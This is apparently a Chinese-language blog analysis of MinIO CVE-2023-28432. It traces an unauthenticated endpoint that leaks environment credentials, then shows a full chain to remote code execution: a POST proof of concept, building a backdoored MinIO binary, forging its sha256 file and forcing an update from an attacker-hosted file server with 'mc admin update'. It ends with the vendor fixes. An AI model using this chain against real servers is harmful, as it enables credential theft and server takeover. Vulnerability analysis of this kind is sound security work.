CVE-2023-28432 Minio信息泄露导致命令执行


https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401202147-vnbwbky.png

从官方漏洞描述中可以直观的看出,该漏洞的入口为minio/cmd/bootstrap-peer-server.go#
VerifyHandler

路由调用如下

cmd/routers.go#configureServerHandler

->registerDistErasureRouters

->registerBootstrapRESTHandlers

->VerifyHandler

在进入最终的handler之前,存在一个限制条件:分布式部署minio

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401202503-uwvwhuh.png

由于该接口没有进行鉴权处理,导致环境信息泄露

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401204209-pbpwkwa.png

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401204150-xppnypy.png

POC

1
2
3
4
5
6
7
POST /minio/bootstrap/v1/verify HTTP/1.1
Host: host
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 0
Content-Type: application/x-www-form-urlencoded

接口文件:cmd/admin-handlers.go#ServerUpdateHandler

在Minio中存在UpdateAPI,通过传入的URL远程下载二进制文件对指定的minio进行更新

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401204526-z1rzy3x.png

程序下载完成后会对下载的服务端进行校验

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401205200-c7n7a5l.png

由于旧版本中更新过程中默认公钥为空,所以构造的恶意文件只需要满足hash与sha256对应即可实现更新恶意服务端导致RCE

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401205858-v395yep.png

构造恶意服务端代码已经有大佬完成,在原minio服务端代码基础上添加了全局的恶意路由用来命令执行

https://github.com/AbelChe/evil_minio

下载后需要将该项目编译

1
go build -v -ldflags="-linkmode external -extldflags -static" main.go

注:编译时可能会由于目标系统底层架构不同导致服务崩溃,需要谨慎

编译完成后查看该文件的sha256值

1
2
3
sha256sum minio.RELEASE.2023-03-24T21-41-23Z
//返回内容如下
8d444bf86c6284c1a3ca027440d996add96ad642fbdf047d08f35384d38ffc1c  minio.RELEASE.2023-03-24T21-41-23Z

由于minio在处理sha256时做了其他操作,所以恶意文件命名按官方命名

将恶意服务端二进制文件命名为:minio.RELEASE.2023-03-24T21-41-23Z

并在文件服务器中新增:minio.RELEASE.2023-03-24T21-41-23Z.sha256sum文件,内容为

1
{sha256sum} minio.RELEASE.2023-03-24T21-41-23Z

内容中的sha256sum填入恶意二进制文件的sha256

启动好的文件服务器如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356757-image-20230401211329-a9ztsjz.png

下载地址:https://dl.min.io/client/mc/release/windows-amd64/mc.exe

添加服务

1
mc config host add minio http://host:9000 accessKey accessSecret

查看服务的存储桶(为了查看是否添加成功)

1
mc ls minio

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356758-image-20230401211847-lj4485n.png

使用MC对指定minio服务进行更新,实现命令执行

1
mc admin update minio http://fileserver/minio.RELEASE.2023-03-24T21-41-23Z.sha256sum

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356758-image-20230401212144-4niuf8h.png

更新结束后访问minioAPI节点,由于我们使用的项目中恶意文件参数为alive,所以下图会通过这个参数进行命令执行,执行结果如下

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356758-image-20230401212210-zq088yw.png

在新版本中Minio修复了这个问题,添加了默认公钥

https://github.com/minio/minio/commit/05444a0f6af8389b9bb85280fc31337c556d4300

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356758-image-20230401205716-avbg9qg.png

厂商已经在该接口处添加了鉴权处理

https://github.com/minio/minio/commit/3b5dbf90468b874e99253d241d16d175c2454077#diff-3618d106abc87ba433cbc51da0aacf1427b4dbfde9d2385083fb1c47e54f20d9

https://mtnsmdbt.oss-cn-hangzhou.aliyuncs.com/blog/1680356758-image-20230401204119-8slhlt0.png